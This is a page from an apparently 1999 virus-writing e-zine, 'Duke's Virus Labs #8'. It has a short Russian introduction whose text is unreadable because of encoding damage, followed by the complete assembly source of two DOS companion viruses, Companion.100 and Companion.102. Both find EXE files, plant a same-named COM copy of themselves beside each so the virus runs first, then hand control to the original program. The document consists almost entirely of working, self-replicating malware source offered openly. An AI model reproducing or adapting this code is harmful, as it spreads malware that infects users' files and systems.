- [Duke's Virus Labs #8] - [Page 12] -

Companion.100,102
(c) by CrkV

       㦥  ࠧ 뫨 ।⠢ 쮭 .   
⠪ ᪠, 뫨 ୠ묨    த  .    ⮣  
訫  業 쮭, ⮡   ⮫쪮  ᮧ  ᢮
,   ⠪    䠩  ᪠,      ⮬      ࠬ  
।. 饬,  ⪮ ६  ᠫ  ⪠ ᨩ  85
.    ।⠢ 2 ᨨ  100  102  ,    
      ࠡᯮᮡ    쭮  .    筮
 楫  १ 쮭   72   , 
  砥    ࠧ.
      ஡  . ᫥  ᪠,  ᮧ  EXE-䠩
᢮  (   ࠧ  MD 9x) c ७ COM, ⢥  ᫨
⠪ 䠩 . ᫥ 祣        䠩,  
७ EXE,      ⮬  ।    祭  ࠬ.
⢥  ⫨稥,    ᢮ . Companion.100  
 㦥 DOS (ᥣ ண 室  PSP:02Ch),  102 -  ⥪
DOS. (  ,  ௭      㦤  "ᠬ䨪  
室 enviroment"    ७樨  RELCOM.COMP.VIRUS.      ᮦ
㪠    ).  ,  祭  ᢮        ண    
ᮢ 稭 ଥ஢   ᠭ ३ 㣮 .
    ஢, ⢥ 졠,    ⠢  
  ᢮ ३ .


===== begin comp100b.asm =====
;Comp.100 (c) 1999 by CrkV

Model Tiny
.code
.386
        Org     100h
Comp:
        db      '*.EXE'         ;Sub Ch,[Adr], Inc Bp

        dw      00h             ;CmdLine for function 4Bh Int 21h
        dw      80h
        db      00h
        Xchg    Cx,Ax           ;Cx:=0

        Mov     Bh,10h          ;Bl=00h
        Mov     Dx,Bx           ;Dx:=1000h (New DTA)

        Mov     Ah,1Ah
        Int     21h             ;Set DTA

        Mov     Ah,4Ah
        Int     21h             ;Set Memory Block (Es=PSP, Bx=1000h)

        Mov     Ah,4Eh          ;Find First File

@FindFile:
@WriteFile:
        Mov     Di,101Eh
        Mov     Dx,Si           ;Dx:=100h
        Int     21h             ;Find File (Write File)
        Jnc     @Ok
@Exit:
        Mov     Es,Ds:[02Ch]    ;PSP:2Ch - Segment DOS enviroment
        Sub     Di,Di
        Mov     Ax,4B00h
        Mov     Ch,0FFh

@NotWord0:
        Repne   ScaSB           ;Cmp Al,Es:[Di],Di:=Di+1
        ScaSB
        Jne     @NotWord0

        CmpSW                   ;ignore count of additional string (Di:=Di+2)
                                ;also Si:=102h ('EXE')
        Mov     Dx,Di           ;Dx:=Offset FileName
        Repne   ScaSB           ;Find end of ASCIIZ string
        Sub     Di,04h
        MovSW                   ;'EXE'
        MovSB
        Mov     Bx,Si           ;Bx:=105h
        Mov     Ds:[Bx+4],Cs
        Push    Es Ds
        Pop     Es Ds           ;Xchg Es,Ds
        Int     21h             ;Exec (Ax=4B00h)
        Ret

@OK:    Mov     Dx,Di
        Mov     Ax,5B2Eh

@Loop:  ScaSB                   ;Al='.'
        Jne     @Loop
        Mov     DWord Ptr [Di],006D6F63h        ;'com',00h

        Int     21h             ;Ah=5Bh (Create File)
        Xchg    Bx,Ax           ;Bx:= File handle

        Mov     Ah,4Fh          ;Find Next File
        Jc      @FindFile
        Mov     Ah,40h          ;Write File
        Mov     Cl,VirLength    ;Ch=0
        Jmp     Short @WriteFile

VirLength       EQU     $ - Comp
        End     Comp
===== end   comp100b.asm =====

===== begin comp102.asm =====
;Comp.102 (c) 1999 by CrkV

Model Tiny
.code
.386
        Org     100h
Comp:
        db      '*.EXE'         ;Sub Ch,[Adr], Inc Bp (also *.E*)

Param   dw      00h             ;CmdLine for function 4Bh Int 21h
        dw      80h
        db      00h
        Xchg    Cx,Ax           ;Cx:=0

        Mov     Bh,10h          ;Bl=00h
        Mov     Dx,Bx           ;Dx:=1000h (New DTA)

        Mov     Ah,1Ah
        Int     21h             ;Set DTA

        Mov     Ah,4Ah
        Int     21h             ;Set Memory Block (Es=PSP, Bx=1000h)

        Mov     Ah,4Eh          ;Find First File

@FindFile:
@WriteFile:
        Mov     Di,101Eh
        Mov     Dx,Si           ;Dx:=100h
        Int     21h             ;Find File (Write File)
        Jnc     @Ok
@Exit:
        Mov     Ax,1203h
        Int     2Fh             ;Ds:= Dos Segment

        LEs     Di,Ds:[Bp-1Bh]  ;Es:Di - Cmd Line
        Mov     Dx,Di
        Mov     Al,'.'
        Dec     Cx              ;Cx:=0FFFFh
        Repne   ScaSB
        Push    Cs Es
        Pop     Ds Es
        Mov     DWord Ptr [Di],'EXE'
        Mov     Ax,4B00h
        Mov     Bx,Offset Param
        Mov     Es:[Bx+4],Cs
        Int     21h             ;Exec (Ax=4B00h)
        Ret

@OK:    Mov     Dx,Di
        Mov     Ax,5B2Eh

@Loop:  ScaSB                   ;Al='.'
        Jne     @Loop
        Mov     DWord Ptr [Di],006D6F63h        ;'com',00h

        Int     21h             ;Ah=5Bh (Create File)
        Xchg    Bx,Ax           ;Bx:= File handle

        Mov     Ah,4Fh          ;Find Next File
        Jc      @FindFile
        Mov     Ah,40h          ;Write File
        Mov     Cl,VirLength    ;Ch=0
        Jmp     Short @WriteFile

VirLength       EQU     $ - Comp
        End     Comp
===== end   comp102.asm =====
